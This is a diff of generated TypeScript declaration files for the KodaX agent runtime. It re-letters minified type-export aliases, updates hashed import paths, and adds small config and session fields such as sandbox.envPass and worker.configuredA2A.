@@ -657,4 +671,4 @@ interface KodaXProviderStreamOptions {
657
671
  signal?: AbortSignal;
658
672
  }
659
673
 
660
- export type { KodaXThinkingWireStrategy as $, KodaXProviderTransport as A, KodaXReasoningCapability as B, KodaXReasoningEffortPreset as C, KodaXReasoningEffortRequest as D, KodaXReasoningEffortWireStrategy as E, KodaXReasoningMode as F, KodaXReasoningProfile as G, KodaXReasoningRequest as H, KodaXRedactedThinkingBlock as I, KodaXReviewScale as J, KodaXAssuranceIntent as K, KodaXRiskLevel as L, KodaXStableEffortIntent as M, KodaXStreamResult as N, KodaXTaskActionability as O, KodaXTaskBudgetOverrides as P, KodaXTaskComplexity as Q, KodaXTaskFamily as R, KodaXTaskResultMetadata as S, KodaXTaskResultSource as T, KodaXTaskRoutingDecision as U, KodaXTaskType as V, KodaXTaskWorkIntent as W, KodaXTextBlock as X, KodaXThinkingBlock as Y, KodaXThinkingBudgetMap as Z, KodaXThinkingDepth as _, KodaXCacheBoundary as a, KodaXTokenUsage as a0, KodaXToolDefinition as a1, KodaXToolResultBlock as a2, KodaXToolResultContentItem as a3, KodaXToolResultImageItem as a4, KodaXToolResultTextItem as a5, KodaXToolUseBlock as a6, KodaXVerifyCredentialResult as a7, KodaXVerifyStrategy as a8, KodaXWireReasoningEffort as a9, KodaXChildFanoutClass as b, KodaXContentBlock as c, KodaXCustomProviderConfig as d, KodaXEphemeralSuffix as e, KodaXExecutionMode as f, KodaXExecutionPattern as g, KodaXHarnessProfile as h, KodaXImageBlock as i, KodaXListModelsResult as j, KodaXMessage as k, KodaXModelDescriptor as l, KodaXMutationSurface as m, KodaXNormalizedReasoningRequest as n, KodaXProtocolFamily as o, KodaXProviderCapabilityProfile as p, KodaXProviderConfig as q, KodaXProviderContextFidelity as r, KodaXProviderConversationSemantics as s, KodaXProviderEvidenceSupport as t, KodaXProviderLongRunningSupport as u, KodaXProviderMcpSupport as v, KodaXProviderMultimodalSupport as w, KodaXProviderSessionSupport as x, KodaXProviderStreamOptions as y, KodaXProviderToolCallingFidelity as z };
674
+ export type { KodaXThinkingDepth as $, KodaXProviderToolCallingFidelity as A, KodaXProviderTransport as B, KodaXReasoningCapability as C, KodaXReasoningEffortPreset as D, KodaXReasoningEffortRequest as E, KodaXReasoningEffortWireStrategy as F, KodaXReasoningMode as G, KodaXReasoningProfile as H, KodaXReasoningRequest as I, KodaXRedactedThinkingBlock as J, KodaXAssuranceIntent as K, KodaXReviewScale as L, KodaXRiskLevel as M, KodaXStableEffortIntent as N, KodaXStreamResult as O, KodaXTaskActionability as P, KodaXTaskBudgetOverrides as Q, KodaXTaskComplexity as R, KodaXTaskFamily as S, KodaXTaskResultMetadata as T, KodaXTaskResultSource as U, KodaXTaskRoutingDecision as V, KodaXTaskType as W, KodaXTaskWorkIntent as X, KodaXTextBlock as Y, KodaXThinkingBlock as Z, KodaXThinkingBudgetMap as _, KodaXCacheBoundary as a, KodaXThinkingWireStrategy as a0, KodaXTokenUsage as a1, KodaXToolDefinition as a2, KodaXToolResultBlock as a3, KodaXToolResultContentItem as a4, KodaXToolResultImageItem as a5, KodaXToolResultTextItem as a6, KodaXToolUseBlock as a7, KodaXVerifyCredentialResult as a8, KodaXVerifyStrategy as a9, KodaXWireReasoningEffort as aa, KodaXChildFanoutClass as b, KodaXContentBlock as c, KodaXCustomProviderConfig as d, KodaXEphemeralSuffix as e, KodaXExecutionMode as f, KodaXExecutionPattern as g, KodaXHarnessProfile as h, KodaXImageBlock as i, KodaXListModelsResult as j, KodaXMessage as k, KodaXModelDescriptor as l, KodaXMutationSurface as m, KodaXNormalizedReasoningRequest as n, KodaXOpenAICompatMaxOutputTokensField as o, KodaXProtocolFamily as p, KodaXProviderCapabilityProfile as q, KodaXProviderConfig as r, KodaXProviderContextFidelity as s, KodaXProviderConversationSemantics as t, KodaXProviderEvidenceSupport as u, KodaXProviderLongRunningSupport as v, KodaXProviderMcpSupport as w, KodaXProviderMultimodalSupport as x, KodaXProviderSessionSupport as y, KodaXProviderStreamOptions as z };
@@ -1,8 +1,8 @@
1
- import { a9 as KodaXWireReasoningEffort, a1 as KodaXToolDefinition, a3 as KodaXToolResultContentItem, k as KodaXMessage } from './types.d-DIpZJKUl.js';
2
- import { K as KodaXBaseProvider } from './base.d-4e74xDdy.js';
1
+ import { aa as KodaXWireReasoningEffort, a2 as KodaXToolDefinition, a4 as KodaXToolResultContentItem, k as KodaXMessage } from './types.d-CgrXrFrq.js';
2
+ import { K as KodaXBaseProvider } from './base.d-DxG0m09Z.js';
3
3
  import { C as CapabilityKind, a as CapabilityProvider } from './capability.d-K664nHOS.js';
4
- import { bF as KodaXJsonValue, bt as KodaXExtensionSessionRecord, bv as KodaXExtensionStore } from './types.d-BA-Jwpfs.js';
5
- import { aP as KodaXToolExecutionContext, bx as ToolSideEffect } from './bash-prefix-extractor.d-uAe2Oqda.js';
4
+ import { bO as KodaXJsonValue, bC as KodaXExtensionSessionRecord, bE as KodaXExtensionStore } from './controller.d-C2aHqzHj.js';
5
+ import { aQ as KodaXToolExecutionContext, by as ToolSideEffect } from './bash-prefix-extractor.d-DStqKIlu.js';
6
6
 
7
7
  /**
8
8
  * KodaX Constructed-World types (FEATURE_087, v0.7.28).
@@ -1,9 +1,9 @@
1
- import { k as KodaXMessage, F as KodaXReasoningMode, d as KodaXCustomProviderConfig, p as KodaXProviderCapabilityProfile } from './types.d-DIpZJKUl.js';
2
- import { c3 as KodaXSessionUiHistoryItem, bU as KodaXSessionLineage, bL as KodaXSessionArtifactLedgerEntry, bu as KodaXExtensionSessionState, bt as KodaXExtensionSessionRecord, b$ as KodaXSessionRuntimeInfo, e$ as WorkflowProcessSource } from './types.d-BA-Jwpfs.js';
3
- import { O as KodaXContextTokenSnapshot, as as KodaXSkillDynamicContextPolicy, t as KodaXAgentMode, a8 as KodaXRepoIntelligenceMode, a1 as KodaXOptions, at as KodaXSkillInvocationContext } from './bash-prefix-extractor.d-uAe2Oqda.js';
4
- import { d as AgentsFile, s as AutoModeStats, J as KodaXMcpServersConfig } from './guardrail.d-CXDYRgZ3.js';
1
+ import { k as KodaXMessage, G as KodaXReasoningMode, d as KodaXCustomProviderConfig, q as KodaXProviderCapabilityProfile } from './types.d-CgrXrFrq.js';
2
+ import { cc as KodaXSessionUiHistoryItem, c1 as KodaXSessionLineage, bU as KodaXSessionArtifactLedgerEntry, bD as KodaXExtensionSessionState, bC as KodaXExtensionSessionRecord, c8 as KodaXSessionRuntimeInfo, fc as WorkflowProcessSource } from './controller.d-C2aHqzHj.js';
3
+ import { O as KodaXContextTokenSnapshot, at as KodaXSkillDynamicContextPolicy, t as KodaXAgentMode, a8 as KodaXRepoIntelligenceMode, a1 as KodaXOptions, au as KodaXSkillInvocationContext } from './bash-prefix-extractor.d-DStqKIlu.js';
4
+ import { d as AgentsFile, s as AutoModeStats, S as KodaXMcpServersConfig } from './guardrail.d-DM-OK0m3.js';
5
5
  import * as readline from 'readline';
6
- import { R as PermissionMode, L as LearningBinding, E as LearningSurfaceSnapshot } from './public-api.d-B3AohsxN.js';
6
+ import { S as PermissionMode, L as LearningBinding, G as LearningSurfaceSnapshot } from './public-api.d-CewTvUKV.js';
7
7
  import { SpawnSyncReturns } from 'child_process';
8
8
 
9
9
  /**
@@ -41,7 +41,7 @@ interface AutoModeSettings {
41
41
  * inherits from the main session). Feeds layer 4 of `resolveClassifierModel`.
42
42
  */
43
43
  classifierModel?: string;
44
- /** sideQuery timeout in ms. Default 20_000. */
44
+ /** Explicit per-attempt timeout. Omit for the 45_000/90_000 classifier defaults. */
45
45
  timeoutMs?: number;
46
46
  /**
47
47
  * Issue 143 (WS3): speculative-classify quiet window in ms. Default 500.
@@ -104,6 +104,8 @@ interface InteractiveContext {
104
104
  extensionRecords?: KodaXExtensionSessionRecord[];
105
105
  extensionStateDirty?: boolean;
106
106
  extensionRecordsDirty?: boolean;
107
+ /** Internal fence: a non-tail Session field changed since the last exact write. */
108
+ sessionSnapshotDirty?: boolean;
107
109
  sessionId: string;
108
110
  title: string;
109
111
  gitRoot?: string;
@@ -594,6 +596,19 @@ declare function loadConfig(): {
594
596
  workflow?: {
595
597
  maxConcurrency?: number;
596
598
  };
599
+ sandbox?: {
600
+ envPass?: string[];
601
+ };
602
+ /**
603
+ * Worker-hosted embedded Runtime options. `configuredA2A` lets a
604
+ * Worker-hosted embedded Runtime load and reconcile
605
+ * `<homeDir>/.kodax/integrations/a2a.json` inside the Worker owner,
606
+ * installing the full list/describe/preflight and external Actor dispatch
607
+ * surface so configured A2A Agents appear as `external:<name>`.
608
+ */
609
+ worker?: {
610
+ configuredA2A?: boolean;
611
+ };
597
612
  };
598
613
  /**
599
614
  * F1 — first-launch onboarding. config.json must be STRICT JSON (no comments), so we
@@ -663,6 +678,9 @@ declare function saveConfig(config: {
663
678
  workflow?: {
664
679
  maxConcurrency?: number;
665
680
  };
681
+ sandbox?: {
682
+ envPass?: string[];
683
+ };
666
684
  }): void;
667
685
  declare function resolveRuntimeProviderSelection(input: {
668
686
  explicitProvider?: string;